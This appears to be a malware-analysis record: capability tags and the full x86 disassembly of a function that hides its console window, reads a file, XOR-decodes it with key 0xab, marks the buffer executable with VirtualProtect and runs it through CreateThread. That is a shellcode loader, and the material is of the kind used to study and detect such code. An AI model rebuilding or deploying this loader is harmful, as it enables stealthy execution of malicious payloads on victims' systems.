Function at 0x10001f20
Capabilities:
Create thread
Encode data using xor
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001cbc0
mov eax, dword fs:[0]
push eax
sub esp, 0xec
mov eax, dword [0x10028080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0xd8]
mov dword [ebp - 0xd8], 2
mov dword [ebp - 0xd4], 0
call fcn.10004570
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0xb8
lea eax, [ebp - 0xd0]
push 0
push eax
call fcn.100073f0
push ecx
lea ecx, [ebp - 0xd0]
call fcn.100031e0
lea eax, [ebp - 0xf8]
push eax
lea ecx, [ebp - 0xd0]
call fcn.10003690
mov edi, dword [eax + 8]
add edi, dword [eax]
mov ecx, dword [eax + 0xc]
adc ecx, dword [eax + 4]
sub esp, 0xc
mov dword [ebp - 0xd4], ecx
lea ecx, [ebp - 0xd0]
call fcn.10003790
xor ebx, ebx
xor esi, esi
test edi, edi
je 0x10002029
cmp edi, 0x7fffffff
ja 0x10002241
cmp edi, 0x1000
jb 0x1000200f
lea eax, [edi + 0x23]
cmp eax, edi
jbe 0x10002246
push eax
call fcn.10005975
add esp, 4
test eax, eax
je 0x1000223c
lea ebx, [eax + 0x23]
and ebx, 0xffffffe0
mov dword [ebx - 4], eax
jmp 0x1000201a
push edi
call fcn.10005975
add esp, 4
mov ebx, eax
push edi
push 0
push ebx
lea esi, [ebx + edi]
call fcn.100073f0
add esp, 0xc
lea ecx, [ebp - 0xe0]
mov dword [ebp - 0xe0], 2
mov dword [ebp - 0xdc], 0
call fcn.10004570
push dword [ebp - 0xd4]
lea ecx, [ebp - 0xd0]
push edi
push ebx
call fcn.100038d0
sub esi, ebx
mov dword [ebp - 0xd4], esi
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x10002149
xor eax, eax
test esi, esi
je 0x10002089
nop dword [eax]
xor byte [ebx + eax], 0xab
inc eax
cmp eax, esi
jb 0x10002080
lea ecx, [ebp - 0xe0]
mov dword [ebp - 0xe0], 4
mov dword [ebp - 0xdc], 0
call fcn.10004570
push 4
push 0x1000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
shr esi, 1
mov edi, eax
push esi
push ebx
push edi
call fcn.10006e60
add esp, 0xc
mov dword [ebp - 0xe0], 2
lea ecx, [ebp - 0xe0]
mov dword [ebp - 0xdc], 0
call fcn.10004570
mov eax, dword [ebp - 0xd4]
sub eax, esi
push eax
lea eax, [esi + ebx]
push eax
lea eax, [esi + edi]
push eax
call fcn.10006e60
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
push 0x20
push dword [ebp - 0xd4]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
push 0
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0xd4]
lea ecx, [ebp - 0xc0]
call fcn.10003f90
test eax, eax
jne 0x10002181
mov eax, dword [ebp - 0xd0]
lea ecx, [ebp - 0xd0]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10001cb0
test ebx, ebx
je 0x100021ad
cmp esi, 0x1000
jb 0x100021a3
mov ecx, dword [ebx - 4]
add esi, 0x23
sub ebx, ecx
lea eax, [ebx - 4]
cmp eax, 0x1f
ja 0x1000223c
mov ebx, ecx
push esi
push ebx
call fcn.10005944
add esp, 8
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xd0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0xd4], eax
lea ecx, [ebp - 0xc0]
call fcn.10002e80
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xd0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0xd4], eax
lea eax, [ebp - 0x60]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - 0x60], vtable.std::ios_base.0
call fcn.10005472
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10005936
mov esp, ebp
pop ebp
ret
call fcn.1000a4fa
call fcn.10004c60
call fcn.10001150
int3